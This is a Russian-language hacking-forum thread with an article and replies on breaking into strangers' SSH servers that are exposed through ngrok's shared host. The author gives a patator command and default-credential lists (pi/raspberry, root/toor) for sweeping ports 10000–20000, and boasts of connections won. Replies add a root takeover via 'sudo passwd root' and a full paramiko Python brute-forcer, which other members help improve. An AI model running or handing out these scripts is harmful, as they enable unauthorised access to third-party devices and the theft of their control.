Статья Похек на шару, чем опасен ngrok и кривые руки

lock.png

Здравствуйте, дорогие братья и сестры.
Сегодня мы поучимся с вами мыслить немного нестандартно. Я покажу вам, к чему могут привести такие вещи, как забывчивость поменять (удалить) стандартные учетные записи, игнорирование создания сертификатов и публичные сервисы.
Затронем некоторые сетевые протоколы, такие как SSH, telnet, FTP, smb и т.п. Как только вы уловите мысль, сможете крутить как вздумается.

Данное микро исследование предназначено для мамкиных хакеров и тех, кто не в состоянии самостоятельно сделать шаг влево шаг вправо и пользуется чужими разработками c красной кнопкой “Хекнуть без регистрации и СМС”. Матёрым волкам всё это известно и не будет интересно в принципе (наверное).

Дисклеймер: данная статья носит чисто информативный характер. Все действия, показанные в данной статье, выдуманы в состоянии аффекта и отрисованы в фотожопе.
Вы сами несете ответственность за ваши действия, которые могут быть квалифицированы как акт саботажа, караются анально по закону и всей строгости военного времени. И blah-blah-blah..

Дальше всё будет быстро, кратко и понятно. Поехали.

Все мы с вами знаем, любим и помним . Сервис позволяет пробросить любой локальный порт во внешний мир:
~# кто-то запускает локальный веб-сервер;
~# кто-то ловит сессию на 4444;
~# кто-то генерит msfvenom, а потом ловит сессию))
~# некоторые открывают доступ к SSH, FTP, VNC, RDP и т.д. и т.п. для своих мини-серверов, raspberry и других оранджей.

Едем дальше.
Если кто не помнит, запускается ngrok:
./ngrok tcp 4444

После чего мы видим, что наш локальный 4444 проброшен на порт 14026 ngrok'a
Снимок экрана от 2019-07-16 20-16-20.png



При неоднократном пробрасывании замечаем, что в бесплатной версии постоянно меняется порт, а хост 0.tcp.ngrok.io остается неизменным. Это наводит на мысль о том, что именно с портом можно поиграть. Возможно даже вызвать remote_podgoranije( )
Т.е. например 22 локальный порт может быть проброшеным портом номер 17736, а может и 11290. А может даже и 31337.

Таким образом, сосредоточившись на определенном протоколе (для примера я возьму свою малину с SSH и парольной аутентификацией) мы будем брутить PORT (от русск. - ПОРТ).

Учитывая то, что это форум secuity а не взломщиков, мы придержимся легенды:
Разъярённый злоумышленник, под алкоголем в состоянии аффекта и спайсами по предварительному сговору в составе группы лиц (ранее, кстати, неоднократно судим за клей и эксбиционизм в непредназначенных для этого местах) решил угнать SSH тех пользователей, которые сидят в малине под pi, в кали под root или просто adminы божественные.

В идеале эта метода работает по принципу “один дефлотный юзер”="один дефлотный пасс", но мы СЛЕГКА расширимся.
Таким образом бармалей построил список пользователей:
pi
root
admin
и сохнанил с названием users.txt

К юзерам он добавил файл pass.txt, в который накидал от руки пару паролей типа
raspberry
roottoor
toor

admin

ПОМНИ юный поддаван, что другой бармалей мог значительно расширить оба списка ставя перед собой похожие цели ;)
Итого получилось 12 комбинаций на 1 хост-порт. Вполне себе для проверки на шару и без заморочек.


Едем дальше.

Нужно создать перечень портов для перебора (сделаем от 10000 до 20000.
Придушив своего питона получаем их диапозон:

Python:
for i in range(10000, 20000):
    print(i)

Сохраним в ports.txt Теперь всё готово к последнему шагу, мой йуный друк.

10000 да умножить на 12 пар = 120 тыс попыток, можно и кофь попить да табачку курнуть.

Жжом напалмом.
Такой реалтрухацкер как ты и я могли бы накидать как перед сном от руки еще какой-нибудь скрипт, душив python'a, но мы не будем портить нервы себе и другим серийным программистам и воспользуемся potator.
Кто не знает про potator, тот должен выйти из цеха и написать по собственному желанию.
Раз ты всё еще тут, значит ты соврал и читаешь man.

patator ssh_login host=0.tcp.ngrok.io port=FILE0 0=ports.txt user=FILE1 1=users.txt password=FILE2 2=pass.txt -x ignore:mesg='Authentication failed.'

Разбирать команду мы не будем, ведь ты прочитал man.
Вкратце я скажу только, что для своей докторской я значительно сузил перечень портов, чтобы скорее показать результат:
Снимок экрана от 2019-07-16 20-32-12.png



ИТОГ.
Каков улов при изменении количества пользователей\паролей\портов я намеренно не раскрываю. Некоторые имеют совсем короткий цикл, к некоторым удавалось законнектиться через 3-4 дня. Можно закрепится в системе, можно.... я не об этом писал )
Добавляем к вышесказанному премиум акки = постоянный доступ. #CENSORED, целое поле для экспериментов.

Возможности:
Снимок экрана от 2019-07-16 20-51-54.png


Надеюсь я доступно изложил то, ЧТО хотел донести.
Всем удачи!!!


П.С. Пока я публиковал статью, ко мне прилетело 2 внешних соединения)))
Снимок экрана от 2019-07-16 20-19-34.png


root@id2746:~# follow the white rabbit..
 
Последнее редактирование модератором:

KJhgIO

Заблокирован
02.08.2018
72
30
BIT
0
На первый раз обойдемся предупреждением за ложное обвинение. Администратор.
Вы изобрели машину времени и украли статью. Да как вам не совестно 😡😡😡

 

id2746

Green Team
12.11.2016
435
644
BIT
21
Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.


А теперь поясни за свой базар, когда ты обвинил меня в воровстве.
 
Последнее редактирование:
  • Нравится
Реакции: Shihskauskas и mcfly

Глюк

Red Team
03.01.2018
1 185
1 879
BIT
175
Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.


А теперь поясни за свой базар, когда ты обвинил меня в воровстве.
бро. не обращай внимания на всякую чушь. в конце статьи стоит
видимо кто то скопипастил ваш материал, вплоть до запетой, и выложил на том ресурсе. при этом честно указал автора материала. это у вас стырили статью.
 
Последнее редактирование:

larchik

Gold Team
07.06.2019
410
480
BIT
539
Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.


А теперь поясни за свой базар, когда ты обвинил меня в воровстве.
Я думаю, что автор комментария о “машине времени” просто пошутил, а вы не поняли.
Иначе как вы могли украсть статью, которая опубликована позже вашей, не имея машины времени?)
Никто не сомневается, что авторство принадлежит вам, а на xss ее утащили отсюда.

Спасибо за статью!
 

KJhgIO

Заблокирован
02.08.2018
72
30
BIT
0
теперь поясни за свой базар, когда ты обвинил меня в воровстве.

Аааай, броооо, я просто шутиииил. Я даже специально написал про машину времени дабы меня не восприняли всерьёз.
Извини если потратил твои нервы.

За статью - спасибо.
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Хочу сказать, что вы также при нахождении юзера pi можете получить доступ к root-учетке двумя командами. Но это если pi состоит в группе sudo.
Залогинились и дальше пишите:
sudo passwd root дальше пароль на который меняете
su root и пароль
Вот вы и под рутом. Но это вас может спалить, если пользователь зайдет под рута и обнаружит,что пароль слетел. Хотя если пользователь не опытный он просто загуглит как его обратно поменять.
 
  • Нравится
Реакции: id2746

Treesss

Green Team
01.01.2019
16
2
BIT
2
И посмеялся и узнал кое-что новое для себя, спасибо побольше бы таких статей)
 
  • Нравится
Реакции: id2746

id2746

Green Team
12.11.2016
435
644
BIT
21
Благодаря @f22 и @explorer , которые подогрели мой интерес к изучению python3, я наговнокодил POC на тему моей статьи )

Python:
import paramiko
from time import sleep

print('██╗██████╗ ██████╗ ███████╗██╗  ██╗ ██████╗ ')
sleep (0.5)
print('██║██╔══██╗╚════██╗╚════██║██║  ██║██╔════╝ ')
sleep (0.5)
print('██║██║  ██║ █████╔╝    ██╔╝███████║███████╗ ')
sleep (0.5)
print('██║██║  ██║██╔═══╝    ██╔╝ ╚════██║██╔═══██╗')
sleep (0.5)
print('██║██████╔╝███████╗   ██║       ██║╚██████╔╝')
sleep (0.5)
print('╚═╝╚═════╝ ╚══════╝   ╚═╝       ╚═╝ ╚═════╝ ')
sleep (0.5)
print('Hi there, mamkins hackers! Let\'s go!\n')
sleep (1)

host = '0.tcp.ngrok.io'
username = input('Enter username:\n') # pi
passwd = input ('Enter password:\n') # raspberry
port = int(input('Enter start port:\n')) #начальный порт
end_port = int(input('Enter end port:\n')) #конечный порт
good_ports = []
komunizm = 'но мы всё равно принесем коммунизм'
sleep (0.5)
print('\n\n\nПоехали!!!\n\n\n')
while port < end_port:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:   
        ssh.connect(hostname=host, username=username, password=passwd, port=port)
        good_ports.append(port)       
        print('Good port', port, 'with', username, passwd, 'found')
        ssh.close()
    except paramiko.ssh_exception.NoValidConnectionsError:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.AuthenticationException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.SSHException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    port = port + 1
    
print ('\n\n\nNow you can connetct to ports', good_ports, 'on', host, 'with username', username, 'and password',passwd,', mamkin hacker.\n\n\n')
input('Готово')


Такие дела...

1111.jpg
 

Вложения

  • POC_ngrok.zip
    969 байт · Просмотры: 275

f22

Codeby Academy
Gold Team
05.05.2019
1 921
226
BIT
1 656
Благодаря @f22 и @explorer , которые подогрели мой интерес к изучению python3, я наговнокодил POC на тему моей статьи )

Python:
import paramiko
from time import sleep

print('██╗██████╗ ██████╗ ███████╗██╗  ██╗ ██████╗ ')
sleep (0.5)
print('██║██╔══██╗╚════██╗╚════██║██║  ██║██╔════╝ ')
sleep (0.5)
print('██║██║  ██║ █████╔╝    ██╔╝███████║███████╗ ')
sleep (0.5)
print('██║██║  ██║██╔═══╝    ██╔╝ ╚════██║██╔═══██╗')
sleep (0.5)
print('██║██████╔╝███████╗   ██║       ██║╚██████╔╝')
sleep (0.5)
print('╚═╝╚═════╝ ╚══════╝   ╚═╝       ╚═╝ ╚═════╝ ')
sleep (0.5)
print('Hi there, mamkins hackers! Let\'s go!\n')
sleep (1)

host = '0.tcp.ngrok.io'
username = input('Enter username:\n') # pi
passwd = input ('Enter password:\n') # raspberry
port = int(input('Enter start port:\n')) #начальный порт
end_port = int(input('Enter end port:\n')) #конечный порт
good_ports = []
komunizm = 'но мы всё равно принесем коммунизм'
sleep (0.5)
print('\n\n\nПоехали!!!\n\n\n')
while port < end_port:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try: 
        ssh.connect(hostname=host, username=username, password=passwd, port=port)
        good_ports.append(port)     
        print('Good port', port, 'with', username, passwd, 'found')
        ssh.close()
    except paramiko.ssh_exception.NoValidConnectionsError:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.AuthenticationException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.SSHException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    port = port + 1
  
print ('\n\n\nNow you can connetct to ports', good_ports, 'on', host, 'with username', username, 'and password',passwd,', mamkin hacker.\n\n\n')
input('Готово')


Такие дела...

Посмотреть вложение 34618
Молодчина! Лично я считаю, что любые идеи (не противоречащие закону, конечно)
нужно пытаться реализовать.
Особенно приятно, что имею какое-то отношение к твоему труду )

Обрати внимание на нативную реализацию для python
Гораздо проще написать цикл, который будет сначала сканировать все порты,
Выдавать открытые или с висящим SSH сервисом, а уж потом этот сервис брутить.
Или сделать это прямо в цикле, через if
Вот отличная инструкция по работе с

И ещё пару моментов:
В твоём случае я бы добавил сразу после входа в цикл while строку
вроде print(port, "of", end_port),
чтобы видеть работу утилиты и знать, сколько ещё осталось портов

Такое количество except'ов вообще не обязательно, если их отчёт
принципиально не важен
Достаточно оставить один
Python:
try:   
    ssh.connect(hostname=host, username=username, password=passwd, port=port)
    good_ports.append(port)       
    print('Good port', port, 'with', username, passwd, 'found')
    ssh.close()
except:
    print('Can\'t connect to', host, 'on', port, komunizm)

А вот, если тебе нужно знать, что же вызвало исключение,
тогда, конечно, нужно использовать несколько except'ов
и для каждого писать своё описание
Python:
try:   
    ssh.connect(hostname=host, username=username, password=passwd, port=port)
    good_ports.append(port)       
    print('Good port', port, 'with', username, passwd, 'found')
    ssh.close()
except paramiko.ssh_exception.NoValidConnectionsError:
    print('Ошибка: нет соединения")
except paramiko.ssh_exception.AuthenticationException:
    print('Ошибка: неправильный логин или пароль")
except paramiko.ssh_exception.SSHException:
    print('Ошибка SSHException")

Ну а тут можешь посмотреть, как какие-то забугорные
бородатые дядьки почти реализовали твою идею
SSH-Brute-Forcer
 
Последнее редактирование:
  • Нравится
Реакции: piter_pentester и id2746
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!